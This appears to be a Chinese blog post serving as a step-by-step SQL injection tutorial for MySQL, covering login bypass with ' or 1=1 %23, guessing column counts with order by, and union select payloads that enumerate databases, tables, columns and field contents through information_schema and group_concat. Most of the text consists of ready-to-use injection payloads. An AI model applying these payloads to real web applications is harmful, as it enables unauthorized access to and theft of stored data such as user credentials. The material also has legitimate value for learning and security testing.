sql注入 Union Query(联合查询)注入

48 篇文章 2 订阅

根据sql构造的方式password或者username都可以尝试注入

select * from table_name where username='xxxx' and password='xxxxxx';

上句两处都可以注入

' 或者 " 测试框闭合

关于注释符 # 在get传参时候要注意用url编码 %23

' or 1=1 %23(#)

Mysql Union Query(联合查询)注入

union查询

查数据库

如果使用union查询,要先猜字段数量,因为通过union连接的两条SQL语句必须字段数列一样。

最后面加上order by 2 得出到底有多少行(就是一直减少到前端出来东西为止)

xxx union select 1,2,3,4,6,7,8
这里也要看看有多少select出来的可以在前端看到
把上面的数字替换为user()、database()、version()等查询

查表名

xxx union select 1,2,3,4,TABLE_NAME,6,7,8 from information_schema.TABLES where TABLE_SCHEMA='数据库名' limit 1,1

因为前端显示的限制,所以要limit,limit 1,1则代表从第一条起,只显示一条

但也可以利用函数将查询结果凭借

concat()、group_concat函数来,这两个函数我们可以简单认为是连接字符串,比如group_concat(user(),database(),version())就是把这三个常量的注入结果连接在一起,当做一个整体字符串显示在注入结果中

union select 1,2,3,4,group_concat(TABLE_NAME,0x3c2f62723e),6,7,8 from information_schema.TABLES where TABLE_SCHEMA='数据库'

0x3c2f62723e是十六进制,转换为字符串则是:“</br>”

找字段

union select 1,2,3,4,group_concat(COLUMN_NAME,0x3c2f62723e),6,7,8 from information_schema.COLUMNS where TABLE_NAME='表名'

查字段内容

union select 1,2,3,4,group_concat(字段名1, 0x3c2f62723e,字段名2),6,7,8 from 表名
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shu天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值